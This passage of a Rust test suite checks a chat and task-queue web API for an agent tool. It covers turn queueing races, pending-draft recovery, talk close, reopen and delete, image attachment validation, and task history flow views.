16013            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16014            let id = talk.id.clone();
16015            // A turn is already running, which is what sends `talk_say` down
16016            // the busy branch.
16017            let turn_guard = ui
16018                .begin_talk_turn(&id)
16019                .expect("claim the turn")
16020                .expect("a fresh talk owes nobody a turn");
16021
16022            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16023            let (release_tx, release_rx) = std::sync::mpsc::channel();
16024            ui.set_busy_queue_gate(BusyQueueGate {
16025                reached: reached_tx,
16026                release: release_rx,
16027            });
16028
16029            let handler = tokio::spawn(talk_say(
16030                State(Arc::clone(&ui)),
16031                Path(id.clone()),
16032                Ok(Json(NewTalkTurn {
16033                    reply_to: None,
16034                    text: "what does the queue module do?".to_owned(),
16035                    attachments: Vec::new(),
16036                })),
16037            ));
16038
16039            // Wait for the busy branch to actually reach the gate, rather
16040            // than for any fixed number of polls of anything - a bounded
16041            // wait rather than a bare `.await` so a regression that never
16042            // reaches the gate fails the test instead of hanging it.
16043            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16044                .await
16045                .unwrap_or_else(|_| {
16046                    panic!(
16047                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16048                    )
16049                })
16050                .expect("the busy branch dropped the gate without using it");
16051            assert!(
16052                crate::chat_worker::try_publication_guard(&talks, &id)
16053                    .expect("publication fence")
16054                    .is_none(),
16055                "a queued worker cannot promote text before its successor reservation is published"
16056            );
16057
16058            // A listener replacement queues its writer behind this accepted
16059            // mutation. Even disconnecting the HTTP caller must not release
16060            // admission before the write-to-worker handoff has completed.
16061            let closing = Arc::clone(&ui.admissions).write_owned();
16062            tokio::pin!(closing);
16063            std::future::poll_fn(|cx| {
16064                assert!(closing.as_mut().poll(cx).is_pending());
16065                std::task::Poll::Ready(())
16066            })
16067            .await;
16068            assert!(
16069                ui.begin_admission().is_err(),
16070                "replacement blocks later admissions"
16071            );
16072
16073            // The turn that was running now finishes and gives the slot up
16074            // the way a real one does - through `drain_loop`, which finds
16075            // nothing queued yet (the write is still held at the gate) and
16076            // releases. The handler, parked inside `spawn_blocking` on the
16077            // other side of the gate, still believes the talk is busy -
16078            // exactly the interleaving the reclaim exists for.
16079            let running = talks.get(&id).expect("reload talk");
16080            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16081
16082            // Drop the handler future now, the way a reloading phone drops
16083            // it: suspended waiting on the busy branch's answer, having
16084            // itself made no more progress since it handed the write off.
16085            handler.abort();
16086            let _ = handler.await;
16087            std::future::poll_fn(|cx| {
16088                assert!(
16089                    closing.as_mut().poll(cx).is_pending(),
16090                    "HTTP cancellation must not abandon a publishing transaction"
16091                );
16092                std::task::Poll::Ready(())
16093            })
16094            .await;
16095            assert!(
16096                crate::chat_worker::try_publication_guard(&talks, &id)
16097                    .expect("publication fence after disconnect")
16098                    .is_none()
16099            );
16100
16101            // Only now let the gated write proceed. It persists the draft
16102            // and reclaims the now-free slot from inside the task the busy
16103            // branch already spawned - unaffected by the handler's abort
16104            // above, since that task was independent of the handler's own
16105            // future from the moment it was spawned.
16106            let _ = release_tx.send(());
16107            drop(
16108                tokio::time::timeout(Duration::from_secs(5), closing)
16109                    .await
16110                    .expect("short admission transaction should release for replacement"),
16111            );
16112            assert!(
16113                crate::chat_worker::try_publication_guard(&talks, &id)
16114                    .expect("publication fence after acknowledgement")
16115                    .is_some(),
16116                "the publication fence is not retained by the long response"
16117            );
16118
16119            // A settled talk: the draft drained into an operator turn and
16120            // answered.
16121            let mut fresh = talks.get(&id).expect("reload talk");
16122            for _ in 0..SETTLE_STEPS {
16123                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16124                    break;
16125                }
16126                tokio::time::sleep(Duration::from_millis(10)).await;
16127                fresh = talks.get(&id).expect("reload talk");
16128            }
16129            assert!(
16130                fresh.pending.is_empty() && fresh.turns.len() == 2,
16131                "attempt {attempt}: talk {id} left the operator's text queued \
16132                 with no drainer - the reclaimed turn was dropped along with \
16133                 the handler future (pending {:?}, {} turns)",
16134                fresh.pending,
16135                fresh.turns.len()
16136            );
16137        }
16138    }
16139
16140    #[tokio::test]
16141    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16142        let (_tmp, _repo, f) = talk_fixture().await;
16143        let id = f.post("/api/talks", None).await.json()["id"]
16144            .as_str()
16145            .expect("id")
16146            .to_owned();
16147        let store = f.talks();
16148        let mut recovered = store.get(&id).expect("opened talk");
16149        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16150            .expect("persist pending draft without a live turn");
16151
16152        let edited = f
16153            .post(
16154                &format!("/api/talks/{id}/pending/edit"),
16155                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16156            )
16157            .await;
16158        assert_eq!(edited.status, 200, "{}", edited.body);
16159        assert!(edited.json()["thinking"].as_bool().unwrap());
16160
16161        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16162        for _ in 0..SETTLE_STEPS {
16163            if detail["turns"].as_array().expect("turns").len() == 2 {
16164                break;
16165            }
16166            tokio::time::sleep(Duration::from_millis(10)).await;
16167            detail = f.get(&format!("/api/talks/{id}")).await.json();
16168        }
16169        let turns = detail["turns"].as_array().expect("turns");
16170        assert_eq!(
16171            turns.len(),
16172            2,
16173            "the recovered draft must run once: {detail}"
16174        );
16175        assert_eq!(turns[0]["body"], "corrected");
16176        assert_eq!(detail["pending"], "");
16177    }
16178
16179    #[tokio::test]
16180    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16181        let tmp = TempDir::new().expect("tempdir");
16182        let repo = tmp.path().join("repo");
16183        std::fs::create_dir_all(&repo).expect("repo dir");
16184        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16185        let f = Fixture::with_repo(repo).await;
16186        let id = f.post("/api/talks", None).await.json()["id"]
16187            .as_str()
16188            .expect("id")
16189            .to_owned();
16190        let store = f.talks();
16191        let mut recovered = store.get(&id).expect("opened talk");
16192        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16193            .expect("persist pending draft without a live turn");
16194
16195        let refused = f
16196            .post(
16197                &format!("/api/talks/{id}/say"),
16198                Some(r#"{"text":"new message"}"#),
16199            )
16200            .await;
16201        assert_eq!(refused.status, 409, "{}", refused.body);
16202        assert!(refused.body.contains("resume"), "{}", refused.body);
16203        let saved = store.get(&id).expect("draft remains after refusal");
16204        assert!(saved.turns.is_empty());
16205        assert_eq!(saved.pending, "saved before restart");
16206
16207        let say_path = format!("/api/talks/{id}/say");
16208        let (first, second) = tokio::join!(
16209            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16210            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16211        );
16212        assert_eq!(first.status, 409, "{}", first.body);
16213        assert_eq!(second.status, 409, "{}", second.body);
16214        let saved = store
16215            .get(&id)
16216            .expect("draft remains after concurrent refusals");
16217        assert!(saved.turns.is_empty());
16218        assert_eq!(saved.pending, "saved before restart");
16219
16220        let resumed = f
16221            .post(&format!("/api/talks/{id}/pending/resume"), None)
16222            .await;
16223        assert_eq!(resumed.status, 202, "{}", resumed.body);
16224        let duplicate = f
16225            .post(&format!("/api/talks/{id}/pending/resume"), None)
16226            .await;
16227        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16228
16229        for _ in 0..SETTLE_STEPS {
16230            if store.get(&id).expect("talk").turns.len() == 2 {
16231                break;
16232            }
16233            tokio::time::sleep(Duration::from_millis(10)).await;
16234        }
16235        let finished = store.get(&id).expect("finished talk");
16236        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16237        assert_eq!(finished.turns[0].body, "saved before restart");
16238        assert!(finished.pending.is_empty());
16239    }
16240
16241    #[tokio::test]
16242    async fn an_image_only_recovered_draft_resumes_without_text() {
16243        let (_tmp, _repo, f) = talk_fixture().await;
16244        let id = f.post("/api/talks", None).await.json()["id"]
16245            .as_str()
16246            .expect("id")
16247            .to_owned();
16248        let uploaded = f
16249            .post_bytes(
16250                &format!("/api/talks/{id}/attachments"),
16251                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16252                PNG_BYTES,
16253            )
16254            .await;
16255        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16256        let attachment = f
16257            .talks()
16258            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16259            .expect("attachment metadata")
16260            .expect("stored attachment");
16261        let store = f.talks();
16262        let mut recovered = store.get(&id).expect("opened talk");
16263        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16264
16265        let resumed = f
16266            .post(&format!("/api/talks/{id}/pending/resume"), None)
16267            .await;
16268        assert_eq!(resumed.status, 202, "{}", resumed.body);
16269        for _ in 0..SETTLE_STEPS {
16270            if store.get(&id).expect("talk").turns.len() == 2 {
16271                break;
16272            }
16273            tokio::time::sleep(Duration::from_millis(10)).await;
16274        }
16275        let finished = store.get(&id).expect("finished talk");
16276        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16277        assert!(finished.turns[0].body.is_empty());
16278        assert_eq!(finished.turns[0].attachments.len(), 1);
16279        assert!(finished.pending_attachments.is_empty());
16280    }
16281
16282    #[tokio::test]
16283    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16284        let (_tmp, _repo, f) = talk_fixture().await;
16285        let id = f.post("/api/talks", None).await.json()["id"]
16286            .as_str()
16287            .expect("id")
16288            .to_owned();
16289        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16290        assert_eq!(closed.status, 200, "{}", closed.body);
16291        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16292            .expect("serialize closed talk");
16293        for (path, body) in [
16294            (format!("/api/talks/{id}/pending/resume"), None),
16295            (
16296                format!("/api/talks/{id}/pending/clear"),
16297                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16298            ),
16299            (
16300                format!("/api/talks/{id}/pending/edit"),
16301                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16302            ),
16303            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16304        ] {
16305            let response = f.post(&path, body).await;
16306            assert_eq!(response.status, 409, "{}", response.body);
16307        }
16308        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16309            .expect("serialize closed talk");
16310        assert_eq!(
16311            after_clear, before_clear,
16312            "clear must not rewrite a closed talk"
16313        );
16314    }
16315
16316    /// Keeps both claims observable long enough to exercise the distinction
16317    /// between one busy talk and a globally locked Chat surface.
16318    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16319
16320    #[tokio::test]
16321    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16322        let tmp = TempDir::new().expect("tempdir");
16323        let repo = tmp.path().join("repo");
16324        std::fs::create_dir_all(&repo).expect("repo dir");
16325        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16326        let f = Fixture::with_repo(repo).await;
16327        let id_a = f.post("/api/talks", None).await.json()["id"]
16328            .as_str()
16329            .unwrap()
16330            .to_owned();
16331        let id_b = f.post("/api/talks", None).await.json()["id"]
16332            .as_str()
16333            .unwrap()
16334            .to_owned();
16335
16336        let a = f
16337            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16338            .await;
16339        assert_eq!(a.status, 202, "{}", a.body);
16340        assert_eq!(a.json()["thinking"], true);
16341        let b = f
16342            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16343            .await;
16344        assert_eq!(b.status, 202, "{}", b.body);
16345        assert_eq!(b.json()["thinking"], true);
16346
16347        let listed = f.get("/api/talks").await.json();
16348        for id in [&id_a, &id_b] {
16349            let view = listed
16350                .as_array()
16351                .unwrap()
16352                .iter()
16353                .find(|talk| talk["id"] == *id)
16354                .unwrap();
16355            assert_eq!(view["thinking"], true, "{listed}");
16356        }
16357        let repeated = f
16358            .post(
16359                &format!("/api/talks/{id_a}/say"),
16360                Some(r#"{"text":"again"}"#),
16361            )
16362            .await;
16363        assert_eq!(repeated.status, 202, "{}", repeated.body);
16364        assert_eq!(repeated.json()["pending"], "again");
16365    }
16366
16367    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16368    /// few more, since real uploads are never exactly eight bytes.
16369    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16370
16371    #[tokio::test]
16372    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16373        let f = Fixture::start().await;
16374        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16375
16376        let res = f
16377            .post_bytes(
16378                &format!("/api/talks/{id}/attachments"),
16379                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16380                PNG_BYTES,
16381            )
16382            .await;
16383        assert_eq!(res.status, 201, "{}", res.body);
16384        let body = res.json();
16385        assert_eq!(body["name"], "shot.png");
16386        assert_eq!(body["mime"], "image/png");
16387        assert_eq!(body["bytes"], PNG_BYTES.len());
16388        let att_id = body["id"].as_str().expect("id").to_owned();
16389        assert_eq!(
16390            att_id.len(),
16391            32,
16392            "the id must never be a client-suppliable path: {att_id}"
16393        );
16394
16395        let got = f
16396            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16397            .await;
16398        assert_eq!(got.status, 200, "{}", got.body);
16399        assert_eq!(got.header("content-type"), Some("image/png"));
16400        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16401        assert_eq!(got.bytes, PNG_BYTES);
16402    }
16403
16404    #[tokio::test]
16405    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16406        let f = Fixture::start().await;
16407        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16408
16409        // SVG can carry a `<script>`, so it is never on the whitelist even
16410        // though it is a real IANA image type.
16411        let svg = f
16412            .post_bytes(
16413                &format!("/api/talks/{id}/attachments"),
16414                &[("Content-Type", "image/svg+xml")],
16415                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16416            )
16417            .await;
16418        assert!(
16419            (400..500).contains(&svg.status),
16420            "svg must be refused: {} {}",
16421            svg.status,
16422            svg.body
16423        );
16424        assert!(svg.body.contains("SVG"), "{}", svg.body);
16425
16426        let text = f
16427            .post_bytes(
16428                &format!("/api/talks/{id}/attachments"),
16429                &[("Content-Type", "text/plain")],
16430                b"just some text",
16431            )
16432            .await;
16433        assert!(
16434            (400..500).contains(&text.status),
16435            "an unlisted type must be refused: {} {}",
16436            text.status,
16437            text.body
16438        );
16439
16440        // The declared type is a real png, but the size check runs before
16441        // the bytes are even looked at.
16442        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16443        let big = f
16444            .post_bytes(
16445                &format!("/api/talks/{id}/attachments"),
16446                &[("Content-Type", "image/png")],
16447                &oversized,
16448            )
16449            .await;
16450        assert_eq!(
16451            big.status,
16452            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16453            "{}",
16454            big.body
16455        );
16456    }
16457
16458    #[tokio::test]
16459    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16460        let f = Fixture::start().await;
16461        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16462
16463        // A whitelisted `Content-Type`, but bytes that are not actually a
16464        // png - the declared header alone is never trusted.
16465        let res = f
16466            .post_bytes(
16467                &format!("/api/talks/{id}/attachments"),
16468                &[("Content-Type", "image/png")],
16469                b"<html>not a picture</html>",
16470            )
16471            .await;
16472        assert!((400..500).contains(&res.status), "{}", res.body);
16473    }
16474
16475    #[tokio::test]
16476    async fn an_unknown_attachment_id_is_a_404() {
16477        let f = Fixture::start().await;
16478        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16479
16480        let res = f
16481            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16482            .await;
16483        assert_eq!(res.status, 404, "{}", res.body);
16484    }
16485
16486    #[tokio::test]
16487    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16488        let f = Fixture::start().await;
16489        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16490
16491        let uploaded = f
16492            .post_bytes(
16493                &format!("/api/talks/{id}/attachments"),
16494                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16495                PNG_BYTES,
16496            )
16497            .await;
16498        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16499        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16500
16501        let res = f
16502            .post(
16503                &format!("/api/talks/{id}/say"),
16504                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16505            )
16506            .await;
16507        assert_eq!(res.status, 202, "{}", res.body);
16508        let queued = res.json();
16509        let turns = queued["turns"].as_array().expect("turns array");
16510        assert_eq!(
16511            turns.len(),
16512            1,
16513            "an empty body with an attachment is still a turn: {queued}"
16514        );
16515        assert_eq!(turns[0]["who"], "operator");
16516        assert_eq!(turns[0]["body"], "");
16517        let atts = turns[0]["attachments"]
16518            .as_array()
16519            .expect("attachments array");
16520        assert_eq!(atts.len(), 1);
16521        assert_eq!(atts[0]["id"], att_id);
16522        assert_eq!(atts[0]["mime"], "image/png");
16523
16524        // Not only in the response: `record` flushes to disk before the
16525        // agent's own turn is even spawned.
16526        let on_disk = f.talks().get(&id).expect("get");
16527        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16528        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16529    }
16530
16531    #[tokio::test]
16532    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16533        let f = Fixture::start().await;
16534        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16535
16536        let res = f
16537            .post(
16538                &format!("/api/talks/{id}/say"),
16539                Some(&format!(
16540                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16541                    "a".repeat(32)
16542                )),
16543            )
16544            .await;
16545        assert!((400..500).contains(&res.status), "{}", res.body);
16546        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16547
16548        let on_disk = f.talks().get(&id).expect("get");
16549        assert!(
16550            on_disk.turns.is_empty(),
16551            "a rejected attachment id must not partially record the turn: {:?}",
16552            on_disk.turns
16553        );
16554    }
16555
16556    #[tokio::test]
16557    async fn talk_close_makes_the_talk_refuse_further_turns() {
16558        let f = Fixture::start().await;
16559        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16560
16561        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16562        assert_eq!(closed.status, 200, "{}", closed.body);
16563        assert_eq!(closed.json()["status"], "closed");
16564
16565        // Idempotent: closing an already-closed talk is not an error.
16566        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16567        assert_eq!(closed_again.status, 200);
16568        assert_eq!(closed_again.json()["status"], "closed");
16569
16570        let said = f
16571            .post(
16572                &format!("/api/talks/{id}/say"),
16573                Some(r#"{"text":"too late"}"#),
16574            )
16575            .await;
16576        assert_eq!(said.status, 409, "{}", said.body);
16577    }
16578
16579    #[tokio::test]
16580    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16581        let (_tmp, _repo, f) = talk_fixture().await;
16582        let id = f.post("/api/talks", None).await.json()["id"]
16583            .as_str()
16584            .expect("id")
16585            .to_owned();
16586        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16587        assert_eq!(closed.status, 200, "{}", closed.body);
16588
16589        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16590        assert_eq!(reopened.status, 200, "{}", reopened.body);
16591        assert_eq!(reopened.json()["status"], "open");
16592
16593        // Idempotent: reopening an already-open talk is not an error.
16594        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16595        assert_eq!(reopened_again.status, 200);
16596        assert_eq!(reopened_again.json()["status"], "open");
16597
16598        let said = f
16599            .post(
16600                &format!("/api/talks/{id}/say"),
16601                Some(r#"{"text":"still there?"}"#),
16602            )
16603            .await;
16604        assert_eq!(
16605            said.status, 202,
16606            "a reopened talk accepts turns again: {}",
16607            said.body
16608        );
16609    }
16610
16611    #[tokio::test]
16612    async fn talk_reopen_on_an_unknown_id_is_404() {
16613        let f = Fixture::start().await;
16614        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16615        assert_eq!(res.status, 404, "{}", res.body);
16616    }
16617
16618    #[tokio::test]
16619    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16620        let f = Fixture::start().await;
16621        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16622
16623        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16624        assert_eq!(deleted.status, 204, "{}", deleted.body);
16625
16626        let after = f.get(&format!("/api/talks/{id}")).await;
16627        assert_eq!(after.status, 404, "{}", after.body);
16628
16629        let listed = f.get("/api/talks").await.json();
16630        assert!(
16631            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16632            "a deleted talk must not linger in the list: {listed}"
16633        );
16634    }
16635
16636    #[tokio::test]
16637    async fn talk_delete_on_an_unknown_id_is_404() {
16638        let f = Fixture::start().await;
16639        let res = f.delete("/api/talks/nonexistent-id").await;
16640        assert_eq!(res.status, 404, "{}", res.body);
16641    }
16642
16643    /// A task's page lists every run it ever had, in order, and says what kind
16644    /// of attempt each was - including a resume, which re-pushes the same run
16645    /// id, and a run whose record this build cannot read.
16646    #[tokio::test]
16647    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16648        let f = Fixture::start().await;
16649        let (a, b, gone) = (
16650            "20260902-140501-aaaa",
16651            "20260902-140502-bbbb",
16652            "20260902-140503-cccc",
16653        );
16654        write_run(&f.runs(), a, RunStatus::Stalled);
16655        let mut review = RunState::new(
16656            PathBuf::from("/repo/magi"),
16657            "main".to_owned(),
16658            "0123456789abcdef".to_owned(),
16659            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16660                .to_owned(),
16661            Config::default(),
16662        );
16663        review.id = b.to_owned();
16664        review.status = RunStatus::Merged;
16665        write_state(&f.runs(), &review);
16666
16667        let mut task = Task::new(
16668            "retry".to_owned(),
16669            "Do the thing".to_owned(),
16670            PathBuf::from("/repo/magi"),
16671            Source::Human,
16672        );
16673        task.start(a.to_owned());
16674        task.stall("quota");
16675        task.start(a.to_owned());
16676        task.start(b.to_owned());
16677        task.start(gone.to_owned());
16678        // This fixture models an older queue file with repeated run entries.
16679        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16680        f.queue().put(&mut task).expect("file the task");
16681
16682        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16683        assert_eq!(res.status, 200, "{}", res.body);
16684        let v = res.json();
16685        let h = v["history"].as_array().expect("history");
16686        assert_eq!(h.len(), 4, "{v}");
16687        assert_eq!(h[0]["kind"], "competition");
16688        assert_eq!(h[0]["status"], "stalled");
16689        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16690        assert_eq!(h[1]["kind"], "resume", "{v}");
16691        assert!(
16692            h[0]["outcome"]
16693                .as_str()
16694                .unwrap()
16695                .contains("unknown. Pass #2"),
16696            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16697        );
16698        assert!(
16699            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16700            "{v}"
16701        );
16702        assert!(
16703            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16704            "an unrecorded cause must not be narrated as an operator park: {v}"
16705        );
16706        assert_eq!(h[2]["kind"], "review");
16707        assert!(
16708            h[2]["description"]
16709                .as_str()
16710                .unwrap()
16711                .contains("magi/aaaa/A")
16712        );
16713        assert_eq!(h[2]["status"], "merged");
16714        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16715        assert_eq!(v["runs_unreadable"], 1);
16716        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16717        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16718        assert_eq!(nodes[4]["note"], "unreadable");
16719        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16720        assert_eq!(v["instruction"], "Do the thing");
16721        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16722
16723        // The run's own page links back to the task.
16724        let run = f.get(&format!("/api/runs/{a}")).await.json();
16725        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16726
16727        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16728    }
16729
16730    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16731        let mut s = RunState::new(
16732            PathBuf::from("/repo/magi"),
16733            "main".to_owned(),
16734            "0123456789abcdef".to_owned(),
16735            "Do it".to_owned(),
16736            Config::default(),
16737        );
16738        s.status = status;
16739        edit(&mut s);
16740        s
16741    }
16742
16743    fn flow_task(runs: &[&str]) -> Task {
16744        let mut t = Task::new(
16745            "t".to_owned(),
16746            "Do it".to_owned(),
16747            PathBuf::from("/repo/magi"),
16748            Source::Human,
16749        );
16750        for r in runs {
16751            t.start((*r).to_owned());
16752        }
16753        // Synthetic flows without RunPass records model legacy queue data.
16754        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16755        t
16756    }
16757
16758    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16759        let h = task_history(task, |id| {
16760            states
16761                .iter()
16762                .find(|(i, _)| *i == id)
16763                .and_then(|(_, s)| s.clone())
16764        });
16765        task_flow(task, &h, 5, None)
16766    }
16767
16768    #[test]
16769    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16770        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16771        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16772        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16773        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16774        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16775        let run = flow_run(RunStatus::Implementing, |s| {
16776            s.created_at = created;
16777            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16778            s.passes[0].started_at = first;
16779            s.passes[1].started_at = resumed;
16780        });
16781        let mut task = flow_task(&[RUN_X, RUN_X]);
16782        task.created_at = queued;
16783        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16784        task.status = TaskStatus::Held;
16785        task.held_at = Some(held);
16786        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16787        assert_eq!(
16788            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16789            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16790        );
16791        assert!(flow.nodes.iter().all(|n| n.time_expected));
16792        let json = serde_json::to_value(&flow).unwrap();
16793        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16794        assert_eq!(json["nodes"][2]["time_expected"], true);
16795    }
16796
16797    #[test]
16798    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16799        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16800        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16801        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16802        // These timestamps are not the start of the current status.
16803        task.held_at = Some(created);
16804        task.blocked_at = Some(created);
16805        for status in [
16806            TaskStatus::Queued,
16807            TaskStatus::Running,
16808            TaskStatus::Blocked,
16809            TaskStatus::Done,
16810            TaskStatus::Failed,
16811            TaskStatus::Parked,
16812            TaskStatus::Held,
16813        ] {
16814            task.status = status;
16815            if status == TaskStatus::Held {
16816                task.held_at = None;
16817            }
16818            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16819            assert_eq!(flow.nodes[1].started_at, Some(created));
16820            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16821            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16822            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16823            let json = serde_json::to_value(&flow).unwrap();
16824            assert!(json["nodes"][3]["started_at"].is_null());
16825            assert_eq!(json["nodes"][3]["time_expected"], true);
16826        }
16827    }
16828
16829    #[test]
16830    fn flow_context_links_do_not_expect_start_times() {
16831        let mut task = flow_task(&[]);
16832        task.source = Source::Agent {
16833            run: "chat-id".to_owned(),
16834            node: "chat".to_owned(),
16835        };
16836        let origin = followup_origin(&fu(None), |_| None, |_| None);
16837        let flow = task_flow(&task, &[], 5, Some(&origin));
16838        for node in &flow.nodes[..2] {
16839            assert!(!node.time_expected);
16840            assert_eq!(node.started_at, None);
16841        }
16842        assert!(flow.nodes[2].time_expected);
16843    }
16844
16845    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16846        crate::queue::FollowUp {
16847            run: "20260901-000000-aaaa".to_owned(),
16848            origin_task: origin_task.map(str::to_owned),
16849            pr: "https://example.com/o/r/pull/1".to_owned(),
16850            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16851                .map(str::to_owned)
16852                .to_vec(),
16853            generation: 1,
16854        }
16855    }
16856
16857    fn parent_task() -> Task {
16858        let mut p = flow_task(&[]);
16859        p.title = "Parent title".to_owned();
16860        p.status = TaskStatus::Done;
16861        p
16862    }
16863
16864    #[test]
16865    fn flow_opens_with_the_parent_task_of_a_followup() {
16866        let p = parent_task();
16867        let pid = p.id.clone();
16868        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16869        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16870        let n = &f.nodes[0];
16871        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16872        assert_eq!(
16873            n.label,
16874            format!("Follow-up of {}", crate::queue::short(&pid))
